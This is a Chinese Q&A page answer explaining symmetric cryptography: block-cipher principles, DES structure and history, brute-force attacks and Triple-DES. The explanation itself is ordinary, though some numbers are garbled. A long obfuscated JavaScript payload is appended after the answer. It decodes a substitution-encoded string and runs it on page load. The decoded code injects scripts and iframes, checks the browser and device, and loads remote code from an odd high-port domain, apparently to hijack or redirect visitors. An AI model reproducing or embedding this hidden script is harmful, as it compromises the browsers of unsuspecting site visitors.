推荐回答(1个)
这个问题设计面积太广了!我就弄了些皮毛!希望能帮到你2.1 对称密码 对称密码技术也叫做单钥或常规密码技术,其包括分组密码技术和流密码技术这两个重要的分支。在公钥密码技术出现之前,它是惟一的加密类型。2.1.1 基本原理前不久,美国计算机安全专家又提出了一种新的安全框架,除机密性、完整性、可用性、真实性之外,又增加了实用性和占有性,认为这样才能解释各种网络安全问题。实用性是指信息加密密钥不可丢失(不是泄密),丢失了密钥的信息也就丢失了信息的实用性,成为垃圾。占有性是指存储信息的节点、磁盘等信息载体不被盗用,即对信息的占用权不能丧失。保护信息占有性的方法有使用版权、专利、商业秘密性,提供物理和逻辑的存取限制方法;维护和检查有关盗窃文件的审计记录、使用标签等。对于分析者来说,可以得到加密、解密算法和从不安全的信道上得到密文C,而不能得到的是通过安全信道传输的密钥K。这样,对称密码必须满足如下要求: ● 算法要足够强大。就是说,从截获的密文或某些已知明文密文对时,计算出密钥或明文是不可行的。● 不依赖于算法的保密,而依赖于密钥。这就是著名的Kerckhoff原则。● 密钥空间要足够大,且加密和解密算法适用于密钥空间所有的元素。这也是非对称密码技术必须满足的条件。除此之外,在实际运用中,发送方和接收方必须保证用安全的方法获得密钥的副本。2.1.2 分组密码分组密码(BlockCipher)是一个明文分组被作为一个整体来产生一个等长的密文分组密码,通常使用的是64bit的分组大小。当前使用的许多分组加密算法几乎都基于Feistel分组密码结构。2.1.2.1 基本原理 扩散(Diffusion)和扰乱(Confusion)是由香农引进描述任意密码系统的两个基本组成模块时提出的两个术语。这两种方法是为了挫败基于统计分析的密码破译。扩散,就是把明文的统计结构扩散消失到密文的长程统计特性中。做到这一点的方法是让明文的每个数字影响许多密文数字的取值,也就是说,每个密文数字被许多明文数字影响。其结果是在密文中各种字母的出现频率比在明文中更接近平均;双字母组合的出现频率也更接近平均。所有分组密码都包含从明文分组到密文分组的变换,具体如何变换则依赖于密钥。扩散机制使得明文和密文之间的统计关系尽量复杂,以便挫败推测密钥的尝试。扰乱试图使得密文的统计特性与加密密钥取值之间的关系尽量复杂,同样是为了挫败发现密钥的尝试。这样一来,即使攻击者掌握了密文的某些统计特性,由于密钥产生密文的方式非常复杂,攻击者也难于从中推测出密钥。要实现这个目的,可以使用一个复杂的替代算法,而一个简单的线性函数就起不到多少作用。2.1.2.2 常见的分组加密算法本节介绍经典的 “数据加密标准”(DataEncryptionStandard,DES)和抛弃了Feistel网络结构的 “高级加密算法”(AES),同时也简要介绍了其他常见的分组加密算法。1.数据加密标准DES1973年5月15日,美国国家标准局NBS(NationalBureauOfStandard,现在的美国国家标准与技术局——NIST)在联邦记录(Federal Register)上发布了一条通知,征求密码算法,用于在传输和存储期间保护数据。IBM提交了一个候选算法,它是由IBM内部开发的,名为LUCIFER。在美国国家安全局NSA (NationalSecurityAgency)的协助下完成了算法评估之后,1977年7月15日,NBS采纳了LUCIFER算法的修正版作为数据加密标准DES。1994年,NIST把联邦政府使用DES的有效期延长了5年,还建议把DES用于政府或军事机密信息防护以外的其他应用。DES是一种对二元数据进行加密的算法,将明文消息分成64bit(8B)一组进行加密。密文分组的长度也是64bit,没有数据扩展。DES使用“密钥”进行加密,从符号的角度来看,“密钥”的长度是8B(或64bit)。但是,由于某些原因,DES算法中每逢第8bit就被忽略,这造成密钥的实际大小变成56bit。DES的整个体制是公开的,系统的安全性完全依赖密钥的保密。DES算法主要包括:初始置换p,16轮迭代的乘积变换,逆初始置换ip-1以及16个密钥产生器。在DES加密算法的一般描述的左边部分,可以看到明文的处理经过了3个阶段:第一个阶段,64bit的明文经过一个初始置换Ⅲ后,比特重排产生经过置换的输出。第二个阶段,由同一个函数的16次循环构成,这个函数本身既有置换又有替代功能。最后一个循环(第16个)的输出由64bit组成,其输出的左边和右边两个部分经过交换后就得到预输出。最后,在第三阶段,预输出通过逆初始置换ip-l生成64bit的密文。除了初始置换和逆初始置换之外,DES具有严格的Feistel密码结构。56bit密钥的使用方式。密钥首先通过一个置换函数,接着于16个循环的每一个,都通过一个循环左移操作和一个置换操作的组合产生一个子密钥KI。对于每一个循环来说,置换函数是相同的,但由于密钥比特的重复移动,产生的子密钥并不相同。DES的解密和加密使用相同的算法,只是将子密钥的使用次序反过来。DES具有雪崩效应:明文或密钥的lbit的改变引起密文许多Bit的改变。如果密文的变化太小,就可能找到一种方法减小要搜索的明文和密钥空间。当密钥不变,明文产生lbit变化,在3次循环后,两个分组有21bit不同,而整个加密过程结束后,两个密文有34个位置不同。作为对比,明文不变,密钥发生lbit变化时,密文中有大约一半的Bit不同。因此,DES具有一种很强的雪崩效应,这是一个非常好的特性。DES的强度依赖于算法自身和其使用的56bit密钥。一种攻击利用DES算法的特点使分析密码成为可能。多年来,DES已经经历了无数次寻找和利用算法弱点的尝试,成了当今研究得最多的加密算法。即使这样,仍然没有人公开宣称成功地发现了DES的致命弱点。然而,密钥长度是更严峻的问题。DES的密钥空间为256,如假设仅一半的密钥空间需要搜索,则一台1us完成一次DES加密的机器需要1000年才能破译DES密钥。事实却没有这么乐观,早在1977年,Diffie和Hellman就设想有一种技术可以制造出具有100万个加密设备的并行机,其中的每一个设备都可以在1lls之内完成一次加密。这样平均搜索时间就减少到lOh。在1977年,这两位作者估计这种机器在当时约价值2000万美元。到1998年7月,EFF(Electronic FrontierFoundation)宣布攻破了DES算法,他们使用的是不到25万美元的特殊“DES破译机”,这种攻击只需要不到3天的时间。在已知密文/明文对时,密钥搜索攻击就是简单地搜索所有可能的密钥;如果没有已知的密文/明文对时,攻击者必须自己识别明文。这是一个有相当难度的工作。如果报文是以普通英语写成的,可以使用程序自动完成英语的识别。如果明文报文在加密之前做过压缩,那么识别工作就更加困难。如果报文是某种更一般的类型,如二进制文件,那么问题就更加难以自动化。因此,穷举搜索还需要一些辅助信息,这包括对预期明文的某种程度的了解和自动区分明文与乱码的某种手段。2.三重DES 三重DES(Triple-DES)是人们在发现DES密钥过短,易于受到蛮力攻击而提出的一种替代加密算法。三重DES最初由Tuchman提出,在1985年的ASNI标准X9.17中第一次针对金融应用进行了标准化。在1999年,三重DES合并入数据加密标准中。 三重DES使用3个密钥,执行3次DES算法,如下动画所示。加密过程为加密一解密一加密(EDE),可表述为如下的公式:C = EK3(DK2(EK1(M)))解密时按密钥相反次序进行同样的操作,表述为:M= DK1(EK2(DK3(C))) 其中,C表示密文,M表示明文,EK(X)表示使用密钥K对X进行加密,DK(X)表示使用密钥K对X进行解密。 为了避免三重DES使用3个密钥进行三阶段加密带来的密钥过长的缺点(56X3=168bit),Tuchman提出使用两个密钥的三重加密方法,这个方法只要求112bit密钥,即令其K1=K3:C = EK1(DK2(EK1(M))) 三重DES的第二阶段的解密并没有密码编码学上的意义。它的惟一优点是可以使用三重DES解密原来的单次DES加密的数据,即:K1=K2=K3。C=EK1(DKl(EKl(M)))=EKl(M)本答案参考于: http://bbs.xml.org.cn/dispbbs.asp?boardID=65&ID=69204
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();